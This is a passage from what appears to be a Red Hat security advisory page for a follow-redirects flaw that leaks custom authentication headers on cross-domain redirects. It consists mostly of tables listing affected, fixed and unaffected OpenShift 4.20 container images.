| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — | ||
